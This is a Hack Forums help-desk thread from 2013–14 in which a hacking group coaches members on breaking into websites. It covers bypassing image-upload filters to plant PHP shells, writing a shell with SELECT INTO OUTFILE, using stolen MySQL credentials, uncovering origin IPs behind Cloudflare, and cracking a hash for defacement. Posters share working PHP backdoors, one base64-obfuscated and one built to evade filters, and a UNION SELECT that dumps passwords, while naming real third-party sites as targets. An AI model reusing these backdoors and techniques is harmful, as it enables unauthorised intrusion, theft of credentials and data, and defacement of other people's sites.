

Forum:[Hack Forums](#)

Thread: [\[Team INTRA\]'s Official Help-Desk](#)

Th3PonyWizard - December 14, 2013, 1:50 pm

[img]http://i1178.photobucket.com/albums/x362/JupiiterDesigns/try2-1.png[/img]

Team INTRA - Official HelpDesk Thread v2

[Old one can be found here](#)

Look who came back from the grave? It's been a while.

Welcome to our team's helpdesk.

This group's main ideal usually resolved around Web Applications and such.

Yet, we're not restricted to it, as we have people from a variety of subjects. Try us~

Rules: Use Google, avoid asking trivial questions and just about anything that can be fetched one searching engine click away.

Respect thus be respected; We aren't here to show off nor mock others, it's a pleasant little gesture to share knowledge and support one each-other, so take it as such.

You can 'try' helping even if you're not within group borders, but expect your reply to be taken a tad less seriously, hence amplify the quality and only post if you're really needed.

Try to start arguments here over dead-end questions and backslash us and I'll bite your fucking head off. Thanks C:

There's a form for you guys to keep your questions in order, although it's not mandatory.

Quote: Question:

Optional details (Screenshot / Vulnerable link / etc):

We do:

Everything WebApp down to server security auditing.

Low-Level (Overflows, general software etc)

Networking+-, need a guy over here but I have a contact.

Current members:

Spoiler ([Click to View](#))

Mx

HaxOr

Th3PonyWizard

Zixem

The Mr. X

Downloading

Beggfomercy

Ergo

cheatson

JoinSe7en

hoer- - December 14, 2013, 1:55 pm

INB4: Is this site vulnerable ?

Th3PonyWizard - December 15, 2013, 4:24 am

(Dec 14, 2013 02:55 PM)hoer- Wrote: [\[CITE\]](#) INB4: Is this site vulnerable ?I don't really mind doing scans once a while, it's annoying though

VipVince - December 15, 2013, 4:43 am

Sounds promising, good luck in your ventures.

BeggFoMercy - December 15, 2013, 7:42 am

Willing to stay up-tuned on this thread as much as possible.

pwntoken - December 15, 2013, 9:11 am

Question: <https://hackforums.net/showthread.php?tid=3929724>

I thought to post this since nobody responded. I think re-inventing the wheel would be so bad.

Im gone brah - December 15, 2013, 9:53 am

Can personally vouch for my pony. :^^

Zixem - December 16, 2013, 1:14 pm

(Dec 15, 2013 10:11 AM)Encrypted32 Wrote: [\[CITE\]](#) Question:

<https://hackforums.net/showthread.php?tid=3929724>

I thought to post this since nobody responded. I think re-inventing the wheel would be so bad.

<https://hackforums.net/showthread.php?tid=3929724&pid=37011753#pid37011753>

(Dec 15, 2013 10:53 AM)Zayne Wrote: [\[CITE\]](#) Can personally vouch for my pony. :^^he's mine. g'rr.

Naww - December 16, 2013, 1:23 pm

Heyyy guys i have a question..i have this upload system but it only accepts images i tried changing the extension like shell.php.jpg but aint working..

My question is what should i do x) in order to upload the shell as an image.

Thnx for u time.

v3xr - December 16, 2013, 1:27 pm

Glad to see the group is still up and running. Best of luck lads!

Th3PonyWizard - December 16, 2013, 1:31 pm

(Dec 16, 2013 02:23 PM)Naww Wrote: [\[CITE\]](#) Heyyy guys i have a question..i have this upload system but it only accepts images i tried changing the extension like shell.php.jpg but aint working..

My question is what should i do x) in order to upload the shell as an image.

Thnx for u time.A good chance is that the extension check is being done client-sided, so you can capture http packet upload with Live HTTP packets tool for firefox, upload your shell.img, directly change the POST value name to shell.php and see if it goes.

Also, try nullbyte. shell.php%00.jpg

Cathal - December 16, 2013, 1:52 pm

(Dec 16, 2013 02:31 PM)Th3PonyWizard Wrote: [\[CITE\]](#) A good chance is that the extension check is being done client-sided, so you can capture http packet upload with Live HTTP packets tool for firefox, upload your shell.img, directly change the POST value name to shell.php and see if it goes.

Also, try nullbyte. shell.php%00.jpg

There's an even better chance it's using

```
Code if(!getimagesize($file))  
    // not image
```

Speaking of which, do you know if it's possible to bypass that?

Also if anyone has any spare time, I'd appreciate some help over here (not hecking)

<https://hackforums.net/showthread.php?tid=3932443>

John Rogers - December 16, 2013, 1:56 pm

(Dec 16, 2013 02:31 PM)Th3PonyWizard Wrote: [\[CITE\]](#) A good chance is that the extension check is being done client-sided, so you can capture http packet upload with Live HTTP packets tool for firefox

Not sure if I'm being dumb with my English or not, but client-side validation would be using JavaScript (which is, in general, really dumb as the attack has control over that) or whatever (you can check this via your browser's console feature and probably ruin the validation - Chrome and FF have these). If I'm right, you probably meant server-side validation.

Although if I'm wrong, ignore me. ;)

(Dec 16, 2013 02:52 PM)MrCathal09 Wrote: [\[CITE\]](#) Code if(!getimagesize(\$file))

```
// not image
```

Speaking of which, do you know if it's possible to bypass that?

Literally do not want to ignore this, so sorry if I'm ruining this thread lol.

You inject your evil PHP code into a valid image, while using the NULL-BYTE method for uploading or whatever.

Okay, sorry. Bye. :)

Th3PonyWizard - December 16, 2013, 1:58 pm

(Dec 16, 2013 02:56 PM)John Rogers Wrote: [\[CITE\]](#) Not sure if I'm being dumb with my English or not, but client-side validation would be using JavaScript (which is, in general, really dumb as the attack has control over that) or whatever (you can check this via your browser's console feature and probably ruin the validation - Chrome and FF have these). If I'm right, you probably meant server-side validation.

Although if I'm wrong, ignore me. ;) I explicitly meant client sided, lots of sites do it. All these flashy AJAX eyecandy crap, hell even twitter had this vuln for a while.

Dyme???????????? - December 16, 2013, 2:42 pm

(Dec 16, 2013 02:52 PM)MrCathal09 Wrote: [\[CITE\]](#) There's an even better chance it's using

```
Code if(!getimagesize($file))
```

```
// not image
```

Speaking of which, do you know if it's possible to bypass that?

Check number 3:

<http://hackers2devnull.blogspot.co.uk/2013/05/how-to-shell-server-via-image-upload.html?m=1>
(credits to cheatson)

Of course you'll need to bypass file extensions as well if applicable.

Gee4rce - December 16, 2013, 2:58 pm

(Dec 16, 2013 02:23 PM)Naww Wrote: [\[CITE\]](#) changing the extension like shell.php.jpg but aint working..

My question is what should i do x) in order to upload the shell as an image.

Thnx for u time.

- Are you shure you have tried all the different kinds of Syntax? (Like: sh.php%00.jpg, sh.php#.jpg, sh.php;.jpg, etc.)
- Also tried adding Nullbytes?
- sometimes changing the data "type" value (...while intercepting http Requests) from 'image/jpeg' to 'text/html' could do the trick,
well atleast this worked for me in a 2 cases, but seems to be rare out there...

Also... are you atleast able to locate the path and can you browse to your uploaded stuff directly (full/real- path)?

If so, you could try out what other stuff may slip through onto the server, it could offer you some other, new possibilites!

And another chance could be by adding php commands into the Imagebody or the EXIF Data fields for example,

but this is rather rare and mostly limited to specific circumstances which need to be "True" for that to work.

EDIT: i seem to have overseen a few posts here lol, didn't see Page 2 and that people replied allready on that so sorry guys ?

Greetings, Gee.

Cathal - December 16, 2013, 3:08 pm

(Dec 16, 2013 03:42 PM)Drake Bell Wrote: [\[CITE\]](#) Check number 3:

<http://hackers2devnull.blogspot.co.uk/2013/05/how-to-shell-server-via-image-upload.html?m=1>

(credits to cheatson)

Of course you'll need to bypass file extensions as well if applicable.

You always seem to have a good link handy, thanks. I believe I've read this before, but forgot (evidently).

marymae - December 17, 2013, 8:51 am

I am trying to gain access to a site by getting into another site on the same server then rooting

But, the site is protected by cloudflare so I can't see its real server ip so I can't look at the real sites on the server

I've dried many cloudflare resolvers, none of them are giving me it's ip

Any ideas?

all hypothetical of course

BeggFoMercy - December 17, 2013, 1:41 pm

(Dec 17, 2013 09:51 AM)marymae Wrote: [\[CITE\]](#) I am trying to gain access to a site by getting into another site on the same server then rooting

But, the site is protected by cloudflare so I can't see its real server ip so I can't look at the real sites on the server

I've dried many cloudflare resolvers, none of them are giving me it's ip

Any ideas?

all hypothetical of course I'm sure this would be able to help you .

Note: You have to signup to see the page content .

<http://balcan-underground.net/security-tutorials/cloudflare-resolving-t230.html>

Mx. - December 17, 2013, 5:00 pm

Or search from a signup page, that would send you an email / like a newsletter, checkup the ip they send the mail from.

marymae - December 17, 2013, 5:13 pm

I'll try it out, hopefully it will work
thanks

Ginster - December 17, 2013, 5:18 pm

Man you guys are ancient now! Hope this all works out.

Th3PonyWizard - December 19, 2013, 10:19 am

Yeah, stuff is working out slowly. Still trying to get our challenge website's up and running.

sasha95 - December 19, 2013, 11:41 am

does it seem a good job you hold me adjourned please??

No?????? - December 19, 2013, 8:33 pm

Hope this thread breaks the last thread's record...

Anli - December 19, 2013, 10:17 pm

Well here is my problem, with direct download vulnerability i just dumped configuration file where was stored, mysql information (username/password/database), than i tried to access phpmyadmin but here is a problem, there are using cookie authentication if someone don't know about it (http://wiki.phpmyadmin.net/pma/Auth_types) Well my question is that, if someone know any way to bypass it.

<http://s27.postimg.org/cvy7yriwz/phpmyadmin.png>

p.s. of course, i tried google, used even all browser, but still the same.

hoer- - December 20, 2013, 2:59 am

(Dec 19, 2013 11:17 PM)Anli Wrote: [\[CITE\]](#) Well here is my problem, with direct download vulnerability i just dumped configuration file where was stored, mysql information (username/password/database), than i tried to access phpmyadmin but here is a problem, there are using cookie authentication if someone don't know about it (http://wiki.phpmyadmin.net/pma/Auth_types) Well my question is that, if someone know any way to bypass it.

<http://s27.postimg.org/cvy7yriwz/phpmyadmin.png>

p.s. of course, i tried google, used even all browser, but still the same.

If port 3306 you can connect via cli

Code mysql --host=site.com --password=pass

Anli - December 20, 2013, 3:10 am

(Dec 20, 2013 03:59 AM)hoer- Wrote: [\[CITE\]](#) If port 3306 you can connect via cli
Code mysql --host=site.com --password=pass
tried that but server does not accepting connection from my IP! even it's not accepting connection from same ip, just with another range.

Th3PonyWizard - December 24, 2013, 2:07 pm

Ain't no bump bucking harder than mine.

hoer- - December 24, 2013, 5:45 pm

(Dec 20, 2013 04:10 AM)Anli Wrote: [\[CITE\]](#) tried that but server does not accepting connection from my IP! even it's not accepting connection from same ip, just with another range.

Then it might only accept connections locally, can you 'into outfile' ? if you can and have some path disclosure you can shell it that way. ?

suta4ever - December 25, 2013, 6:08 am

Sounds promising, good luck in your ventures.

Th3PonyWizard - December 28, 2013, 11:07 am

(Dec 25, 2013 07:08 AM)suta4ever Wrote: [\[CITE\]](#) Sounds promising, good luck in your ventures.Aye. I thank your greeting, chap, and wish you fortune as well.

Im gone brah - December 28, 2013, 11:27 am

What's the Starting address of the memory buffer?
what does int \$0x80 do?

Th3PonyWizard - December 28, 2013, 11:58 am

(Dec 28, 2013 12:27 PM)astrosphere Wrote: [\[CITE\]](#) What's the Starting address of the memory buffer?
what does int \$0x80 do?Referring your question to our lowlevel guys. Downy should help ^^

BeggFoMercy - December 28, 2013, 12:00 pm

(Dec 24, 2013 06:45 PM)hoer- Wrote: [\[CITE\]](#) Then it might only accept connections locally, can you 'into outfile' ? if you can and have some path disclosure you can shell it that way. ?He won't only need a full path disclosure , He will also need to be privileged to read mysql.user table otherwise INTO/OUT file won't work .

Downloading... - December 28, 2013, 12:09 pm

(Dec 28, 2013 12:27 PM)astrosphere Wrote: [\[CITE\]](#) What's the Starting address of the memory buffer?
I'm not sure what you're asking there...
There isn't one specific memory buffer.

But to get the address of a buffer you allocated, in C you can do:

```
PHP Code
<?php
int main(){

    char buff[200];

    printf("Buffer starts at: 0x%x\n",&buff);

}
```

(Dec 28, 2013 12:27 PM)astrosphere Wrote: [\[CITE\]](#) what does int \$0x80 do?

INT in general from Wikipedia:

INT is an assembly language instruction for x86 processors that generates a software interrupt. It takes the interrupt number formatted as a byte value.

INT 0x80 :

int 0x80 is the assembly language instruction that is used to invoke system calls in Linux on x86 (i.e., Intel-compatible) processors.

Im gone brah - December 28, 2013, 12:22 pm

(Dec 28, 2013 01:09 PM)Downloading... Wrote: [\[CITE\]](#) I'm not sure what you're asking there... There isn't one specific memory buffer.

But to get the address of a buffer you allocated, in C you can do:

PHP Code

```
<?php
int main(){

    char buff[200];

    printf("Buffer starts at: 0x%x\n",&buff);

}
```

INT in general from Wikipedia:

INT is an assembly language instruction for x86 processors that generates a software interrupt. It takes the interrupt number formatted as a byte value.

INT 0x80 :

int 0x80 is the assembly language instruction that is used to invoke system calls in Linux on x86 (i.e., Intel-compatible) processors.int \$0x80 called the kernel

Quote:Starting address of the memory buffer?

0xbff = top of the stack

starting address of the memory buffer is badly worded

Ascendon - December 28, 2013, 12:23 pm

Hope this gets popular.

Good luck guys!

Keep up the good work.

hoer- - December 28, 2013, 12:31 pm

(Dec 28, 2013 01:00 PM)BeggFoMercy Wrote: [\[CITE\]](#) He won't only need a full path disclosure , He will also need to be privileged to read mysql.user table otherwise INTO/OUT file won't work . That's what I said..

IF you CAN into outfile, then all you need is path disclosure.

Downloading... - December 28, 2013, 12:49 pm

(Dec 28, 2013 01:22 PM)astrosphere Wrote: [\[CITE\]](#) int \$0x80 called the kernel

0xbff = top of the stack

starting address of the memory buffer is badly worded

If you'd formulate decent questions, I'd be able to answer decently...

BeggFoMercy - December 29, 2013, 5:59 am

(Dec 28, 2013 01:31 PM)hoer- Wrote: [\[CITE\]](#) That's what I said..

IF you CAN into outfile, then all you need is path disclosure.

My point should be clear for you to understand , INTO/OUT() file won't work without privileges to read/write into the mysql.user table .

hoer- - December 29, 2013, 6:18 am

(Dec 29, 2013 06:59 AM)BeggFoMercy Wrote: [\[CITE\]](#) My point should be clear for you to understand , INTO/OUT() file won't work without privileges to read/write into the mysql.user table .
Why would we need to write to mysql.user?

```
SELECT "<?php system($_GET['cmd'] ?>" INTO OUTFILE '/full/path/disclosure/www/site/shell.php'
```

BeggFoMercy - December 29, 2013, 6:28 am

(Dec 29, 2013 07:18 AM)hoer- Wrote: [\[CITE\]](#) Why would we need to write to mysql.user?

SELECT "<?php system(\$_GET['cmd'] ?>" INTO OUTFILE '/full/path/disclosure/www/site/shell.php'
This way you will get a access denied@mysql.user , You need to check If you are privileged already to read into mysql.user .

d1str1ct_9 - December 30, 2013, 12:59 pm

(Dec 29, 2013 07:18 AM)hoer- Wrote: [\[CITE\]](#) Why would we need to write to mysql.user?
I think BeggFoMercy is referring to the "file" privilege. Without that you can't write or read files on the server file system.
And you can check if you have it in mysql.user or information_schema.user_privileges.

Goodies - December 30, 2013, 3:22 pm

Hello!

I need help in regards to splicing a meterpreter bind shell.
This is a serious request. I really need help as this is bugging the crap out of me.

Also, if anyone needs help with HTTP status codes please PM me (that one was a joke) :)

Big Thanks to Mx. for keeping the group up!!

v?x? - December 30, 2013, 3:27 pm

(Dec 30, 2013 04:22 PM)Goodies Wrote: [\[CITE\]](#) Hello!
I need help in regards to splicing a meterpreter bind shell.
This is a serious request. I really need help as this is bugging the crap out of me.

Also, if anyone needs help with HTTP status codes please PM me (that one was a joke) :)

Big Thanks to Mx. for keeping the group up!!
PM me if you want some help, Austin. Intra will be very happy to help you. :)

HaxOr? - December 30, 2013, 3:29 pm

(Dec 30, 2013 04:22 PM)Goodies Wrote: [\[CITE\]](#) Hello!
I need help in regards to splicing a meterpreter bind shell.
This is a serious request. I really need help as this is bugging the crap out of me.

Also, if anyone needs help with HTTP status codes please PM me (that one was a joke) :)

Big Thanks to Mx. for keeping the group up!!
Hey Goodies, could you please elaborate your question?
Thanks.

Mx. - December 30, 2013, 3:30 pm

Well if intra can't help you can always call agent johnson.

Ergo - December 30, 2013, 3:32 pm

(Dec 30, 2013 04:30 PM)Mx. Wrote: [\[CITE\]](#) Well if intra can't help you can always call agent johnson. NO! Don't contact agent Johnson. He once called me up and threatened my life. I was so afraid. That guy... there's something about him that isn't... human.

Since he was kicked off the force, he's become worse than ever. RIP all those who have been contacted by Agent Johnson...

XxXDARKHUNTERXxX232 - December 30, 2013, 3:32 pm

(Dec 30, 2013 04:22 PM)Goodies Wrote: [\[CITE\]](#) Hello!

I need help in regards to splicing a meterpreter bind shell.

This is a serious request. I really need help as this is bugging the crap out of me.

Also, if anyone needs help with HTTP status codes please PM me (that one was a joke) :)

Big Thanks to Mx. for keeping the group up!!

What information have you gathered up so far?

Mx. - December 30, 2013, 3:33 pm

He called me last night saying he's from the fbi and he's gonna get me swatted, his badgenumber was like: 404403400

Goodies - December 30, 2013, 3:54 pm

Basically, I am sending a meterpreter stager through the TCP proxy I wrote in python.

@ 10 bytes / payload (very very small) - segmentation fault immediately.

@ 1024 bytes / payload - stager sends. I type 'shell' and type 'whoami'. It says 'root' and gives a segmentation fault and closes.

@ 2048 bytes / payload - same as previous.

Also can we knock of the HTTP status codes. I'd you don't like it, don't use it. I could give less of a fuck. But the 404 jokes stopped being clever days ago.

hoer- - December 30, 2013, 4:08 pm

(Dec 30, 2013 04:54 PM)Goodies Wrote: [\[CITE\]](#) Basically, I am sending a meterpreter stager through the TCP proxy I wrote in python.

@ 10 bytes / payload (very very small) - segmentation fault immediately.

@ 1024 bytes / payload - stager sends. I type 'shell' and type 'whoami'. It says 'root' and gives a segmentation fault and closes.

@ 2048 bytes / payload - same as previous.

Also can we knock of the HTTP status codes. I'd you don't like it, don't use it. I could give less of a fuck. But the 404 jokes stopped being clever days ago.

That memory does not belong to you TEHE ?

Goodies - December 30, 2013, 4:13 pm

(Dec 30, 2013 05:08 PM)hoer- Wrote: [\[CITE\]](#) That memory does not belong to you TEHE ?

Lol. But without the proxy, it's fine.

I'm trying to find a size that it will not break at and see what's going on.

hoer- - December 30, 2013, 4:21 pm

(Dec 30, 2013 05:13 PM)Goodies Wrote: [\[CITE\]](#) Lol. But without the proxy, it's fine.

I'm trying to find a size that it will not break at and see what's going on.
W/o the source code IDEK :D ? (at least you've found where it's going wrong)

Goodies - December 30, 2013, 4:26 pm

(Dec 30, 2013 05:21 PM)hoer- Wrote: [\[CITE\]](#) W/o the source code IDEK :D ? (at least you've found where it's going wrong)

I posted it a couple threads ago :) source is here:
<https://hackforums.net/showthread.php?tid=3959238>

hoer- - December 30, 2013, 5:13 pm

(Dec 30, 2013 05:26 PM)Goodies Wrote: [\[CITE\]](#) I posted it a couple threads ago :) source is here:
<https://hackforums.net/showthread.php?tid=3959238> I'm working on my php shell at the minuet, have you tried looking at the data output? both before and after it has been sent.

Philx - December 30, 2013, 6:01 pm

Thanks for helping out the people newer to web exploitation :)

Goodies - December 30, 2013, 9:17 pm

(Dec 30, 2013 06:13 PM)hoer- Wrote: [\[CITE\]](#) I'm working on my php shell at the minuet, have you tried looking at the data output? both before and after it has been sent.

I've written a PHP shell :)

More basic than mast, but it was only to upload meterpreter shells and keep backdoors in PHP files.

Like the good old

PHP Code

```
<?php
if(isset($_GET['GoodiesBackdoor'])){
    system($_GET['GoodiesBackdoor']);
}
```

Which is:

PHP Code

```
<?php if(isset($_GET[base64_decode('R29vZGllc0JhY2tkb29y')])){system($_GET[base64_decode('R29vZGllc0JhY2tkb29y')]);}?>
```

Classic. I also saw one on packetstorm that was pretty neat. It used HTTP headers :)

Okay, just downloaded it again and here it is:

<http://packetstormsecurity.com/files/122167/Simple-PHP-Backdoor.html>

Server.php needs some major updates for security, but you'll get the idea :)

John Rogers - December 31, 2013, 3:32 am

(Dec 30, 2013 10:17 PM)Goodies Wrote: [\[CITE\]](#) Like the good old

PHP Code

```
<?php
if(isset($_GET['GoodiesBackdoor'])){
    system($_GET['GoodiesBackdoor']);
}
```

Which is:

PHP Code

```
<?php if(isset($_GET[base64_decode('R29vZGllc0JhY2tkb29y')])){system($_GET[base64_decode('R29vZGllc0JhY2tkb29y')]);}?>
```

That isn't, and never has, been "good". It is just dumb PHP, most of which is redundant.

hoer - December 31, 2013, 6:01 am

(Dec 31, 2013 04:32 AM)John Rogers Wrote: [\[CITE\]](#) That isn't, and never has, been "good". It is just dumb PHP, most of which is redundant.

Why is it redundant php? ? ?

John Rogers - December 31, 2013, 6:41 am

(Dec 31, 2013 07:01 AM)hoer- Wrote: [\[CITE\]](#) Why is it redundant php? ? ?

His code, he only needs one function and it isn't isset() or if().

cheatson - December 31, 2013, 9:59 am

Better to create an eval backdoor so that you can more easily just eval php as well as system commands as needed (e.g. to upload a bigger shell if you can't curl one out ;) Can avoid suhosin filter for eval() using create_function (cheers phizo!):

PHP Code

```
<?=@($x=create_function($a,$_GET['a']))?$x():0?>PHP Code
```

```
<?php
```

```
a=system('whoami');
```

And then up your larger shell later:

PHP Code

```
<?php
```

```
page.php?a=file_put_contents("uploader.php","<form>etc..");
```

Happy new year you butt fuckers!

Spoiler [\(Click to View\)](#)

[img]http://3.bp.blogspot.com/_owzjJuyS1J4/TS0SPcBW23I/AACWc/IK28Pz56mKo/s400/jim-carrey_1.jpg[/img]

Mx. - January 1, 2014, 8:03 am

happy new year cheatson. you little cheatzor.

Naww - January 2, 2014, 2:55 pm

Heyyy i have some question guys.

Like i have a the details from table "mysql" (root password) but i donno how i can connect to the DB, been searching around, also tried telnet but didnt work.

Thnx for ur time.

Im gone brah - January 2, 2014, 3:33 pm

(Jan 2, 2014 03:55 PM)Naww Wrote: [\[CITE\]](#) Heyyy i have some question guys.

Like i have a the details from table "mysql" (root password) but i donno how i can connect to the DB, been searching around, also tried telnet but didnt work.

Thnx for ur time.

Very likely the MySQL is running on Local host.

But try Navicat.?

HaxOr? - January 2, 2014, 3:39 pm

(Jan 2, 2014 03:55 PM)Naww Wrote: [\[CITE\]](#) Heyyy i have some question guys.

Like i have a the details from table "mysql" (root password) but i donno how i can connect to the DB, been searching around, also tried telnet but didnt work.

Thnx for ur time.

If the host is localhost then you cant connect to it remotely.

Cathal - January 2, 2014, 3:56 pm

(Jan 2, 2014 04:39 PM)HaxOr? Wrote: [\[CITE\]](#) If the host is localhost then you cant connect to it remotely.

Many webservers have IP white lists to allow connections from remote clients.

HaxOr? - January 2, 2014, 4:08 pm

(Jan 2, 2014 04:56 PM)MrCathal09 Wrote: [\[CITE\]](#) Many webservers have IP white lists to allow connections from remote clients.

Well i said that from my experience.

Never happened to me.. ?

Goodies - January 2, 2014, 6:04 pm

(Jan 2, 2014 04:39 PM)HaxOr? Wrote: [\[CITE\]](#) If the host is localhost then you cant connect to it remotely.

Unless there's something like a socks proxy/VPN giving you direct access to said machine :P

But yeah, normally you have to edit your apache conf file to allow remote access to phpmyadmin (assuming XAMMP/WAMP/LAMP setup).

TheNeutron - January 2, 2014, 11:01 pm

Question: What can I do to understand of SQL injections better? :)

Ergo - January 3, 2014, 2:31 am

(Jan 3, 2014 12:01 AM)-=Hack0pz=- Wrote: [\[CITE\]](#) Question: What can I do to understand of SQL injections better? :)Learn SQL

Learn about different database software

There are lots of ebooks out there to read about advanced SQL injection, so I'd recommend looking into those

Read up on bypassing WAF

I'd also get yourself a web host and create some codes for you to try use use SQLi on yourself just for a bit of practice (because let's face it, theory doesn't always match up with practice)

hoer- - January 3, 2014, 3:59 am

(Jan 3, 2014 12:01 AM)-=Hack0pz=- Wrote: [\[CITE\]](#) Question: What can I do to understand of SQL injections better? :)As long as you know how to set up a VM these will help

https://www.pentesterlab.com/exercises/from_sql_i_to_shell/
https://www.pentesterlab.com/exercises/from_sql_i_to_shell_pg_edition/
https://www.pentesterlab.com/exercises/from_sql_i_to_shell_II/

Sw1x - January 3, 2014, 4:37 am

(Jan 3, 2014 04:59 AM)hoer- Wrote: [\[CITE\]](#) As long as you know how to set up a VM these will help

https://www.pentesterlab.com/exercises/from_sql_i_to_shell/

https://www.pentesterlab.com/exercises/from_sql_i_to_shell_pg_edition/
https://www.pentesterlab.com/exercises/from_sql_i_to_shell_ii/

Thank you, great share, have a good day mate! ?

Sw1x - January 5, 2014, 8:34 am

(Jan 3, 2014 12:19 PM)Zayne Wrote: [\[CITE\]](#) <https://hackforums.net/showthread.php?tid=3953150>

You could always read that :3

Oh sweet, thanks for that as well, much appreciated. ?

sjustin1996 - January 5, 2014, 12:56 pm

<http://datank.zapto.org/register.php>

I'm really new to this. How could I get into this website?

Their registration page looks to be pretty unsecured, as I can use a single quote to create a MySQL error.

Angelic™ - January 6, 2014, 8:22 am

I am facing a problem in SQLi

I am not able to go ahead ,i got the sql error by adding \ in encoded format but i am not able to go ahead.

It redirects to other page whenever i try to inject anything.

I am not that good in sqli ,i would be happy if someone would guide me in this one.

Thanks !

3oxic - January 11, 2014, 7:51 pm

any way to find admin panel at this:

bbclub.gr/energy

nullbyt3s - January 11, 2014, 8:37 pm

Cpanel here:

<https://www.bbclub.gr:2083/>

Member login:

<http://www.bbclub.gr/energy/gr/login.php?action=login&return=/energy/gr/index.php>

I am not part of this group, just helping.

HaxOr? - January 18, 2014, 1:33 pm

(Jan 11, 2014 09:37 PM)nullbyt3s Wrote: [\[CITE\]](#) Cpanel here:

<https://www.bbclub.gr:2083/>

Member login:

<http://www.bbclub.gr/energy/gr/login.php?action=login&return=/energy/gr/index.php>

I am not part of this group, just helping.

Thanks for helping nullbyt3s! :)

(Jan 6, 2014 09:22 AM)Angelic™ Wrote: [\[CITE\]](#) I am facing a problem in SQLi

I am not able to go ahead ,i got the sql error by adding \ in encoded format but i am not able to go

ahead.

It redirects to other page whenever i try to inject anything.

I am not that good in sql ,i would be happy if someone would guide me in this one.

Thanks !

PM me the site and i will try to help you out. :)

itzx vizuh - January 20, 2014, 7:33 am

Hey guys i need help decrypting this password please

200c9427b40f3d6e8a5d0edff71b0ce1:de

im practicing defacement

hoer- - January 20, 2014, 10:22 am

(Jan 20, 2014 08:33 AM)itzx vizuh Wrote: [\[CITE\]](#) Hey guys i need help decrypting this password please

200c9427b40f3d6e8a5d0edff71b0ce1:de

im practicing defacement

200c9427b40f3d6e8a5d0edff71b0ce1 = deyoubeli

Also don't deface shit you fucking skid ?

DJ Khale?d - January 20, 2014, 10:27 am

(Jan 20, 2014 11:22 AM)hoer- Wrote: [\[CITE\]](#) you fucking skid ?

[img]<http://www.memecreator.com/static/images/memes/100829.jpg>[/img]

itzx vizuh - January 20, 2014, 11:55 am

(Jan 20, 2014 11:27 AM)DJ Khale?d Wrote: [\[CITE\]](#)

[img]<http://www.memecreator.com/static/images/memes/100829.jpg>[/img]EXACTLY no life peace of shit

God Help you

Th3PonyWizard - January 20, 2014, 12:53 pm

(Jan 6, 2014 09:22 AM)Angelic™ Wrote: [\[CITE\]](#) I am facing a problem in SQLi

I am not able to go ahead ,i got the sql error by adding \ in encoded format but i am not able to go ahead.

It redirects to other page whenever i try to inject anything.

I am not that good in sql ,i would be happy if someone would guide me in this one.

Thanks !PM this shit and we might just get it solved out.

Oktim - January 21, 2014, 8:37 am

Hello,

well I'm really curious since months about a exploit. Its Apache 2.2.14 mod_isapi Dangling Pointer.

My questions is:

Does the exploit work and if it works how does it work ?

I tried to seek my answer in google but with no result.

hoer- - January 21, 2014, 11:35 am

(Jan 20, 2014 11:27 AM)DJ Khale?d Wrote: [\[CITE\]](#)

[img]<http://www.memecreator.com/static/images/memes/100829.jpg>[/img]

Dyme as in dik.line as in poser?

??

Kissmeshitfaced - January 21, 2014, 2:12 pm

Hey Curious if you guys are still giving help/support wanted too do some kind of vulnerability checks on a friends site/server for him (he has it locked down pretty tight already i'm sure, but not 100% sure were too start erm if you guys give any kind of tutorials or maybe chat on skype or something maybe walk me through a few things? that would be amazing, or even still if you wanted to test your own skills on the site, like i said it's pretty tight, but to no malicious intent please I'm just nearly looking for cracks in the foundations :) >.<

hoer- - January 21, 2014, 2:25 pm

(Jan 21, 2014 03:12 PM)Kissmeshitfaced Wrote: [\[CITE\]](#) Hey Curious if you guys are still giving help/support wanted too do some kind of vulnerability checks on a friends site/server for him (he has it locked down pretty tight already i'm sure, but not 100% sure were too start erm if you guys give any kind of tutorials or maybe chat on skype or something maybe walk me through a few things? that would be amazing, or even still if you wanted to test your own skills on the site, like i said it's pretty tight, but to no malicious intent please I'm just nearly looking for cracks in the foundations :) >.<Do you have a link to the site, that'd be helpful ?

Kissmeshitfaced - January 21, 2014, 2:38 pm

Yeah this is why i was hoping to talk on skype as i can't actually PM people yet with my low post count, and didnt feel comfortable to just throw my friends site into a snake pit on a public forum >.<

hoer- - January 21, 2014, 2:39 pm

(Jan 21, 2014 03:38 PM)Kissmeshitfaced Wrote: [\[CITE\]](#) Yeah this is why i was hoping to talk on skype as i can't actually PM people yet with my low post count, and didnt feel comfortable to just throw my friends site into a snake pit on a public forum >.<
you could email -snippy- if you'd prefer that?

Kissmeshitfaced - January 21, 2014, 2:40 pm

yeah that's great i'll throw you a quick Email just chat there thanks :)

Edit: just sent you an email :)

itzx vizuh - January 23, 2014, 2:06 pm

(Jan 20, 2014 11:22 AM)hoer- Wrote: [\[CITE\]](#) 200c9427b40f3d6e8a5d0edff71b0ce1 = deyoubeli

Also don't deface shit you fucking skid ?
Also you dont deface shit its not deyoubeli its youbeli

darkfire - January 23, 2014, 9:28 pm

hi all.....hope every one is doin fine..

i'm looking for one thing from a long time.

i'm trying dvwa(damn vulnerable web application),in high security,i'd finished low and medium security.

but when i tried high security in xss and sql injection,i'd google it but didnt found the solution.

it would be better if u just throw some light.

thanks in advance.

SHADOW REALM - January 23, 2014, 11:03 pm

So I've got a DB and it has over 9.5k entries and I'm trying to get it all out and then I hit the 1024 char limit

UNION SELECT

```
1,concat(AgentID,0x3a,AgencyName,0x3a>Password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86 FROM data.tbldagents--
```

I am trying to get out all of that in query but I can't seem to figure out how to take it all.

Any ideas?

(Jan 23, 2014 10:28 PM)darkfire Wrote: [\[CITE\]](#) hi all.....hope every one is doin fine..

i'm looking for one thing from a long time.

i'm trying dvwa(damn vulnerable web application),in high security,i'd finished low and medium security.

but when i tried high security in xss and sql injection,i'd google it but didnt found the solution.

it would be better if u just throw some light.

thanks in advance.

As far as I know they were made to be 100% secure and I don't think anyone can bypass them

JoinSeventh - January 24, 2014, 5:36 am

(Jan 24, 2014 12:03 AM)SHADOW REALM Wrote: [\[CITE\]](#) So I've got a DB and it has over 9.5k entries and I'm trying to get it all out and then I hit the 1024 char limit

UNION SELECT

```
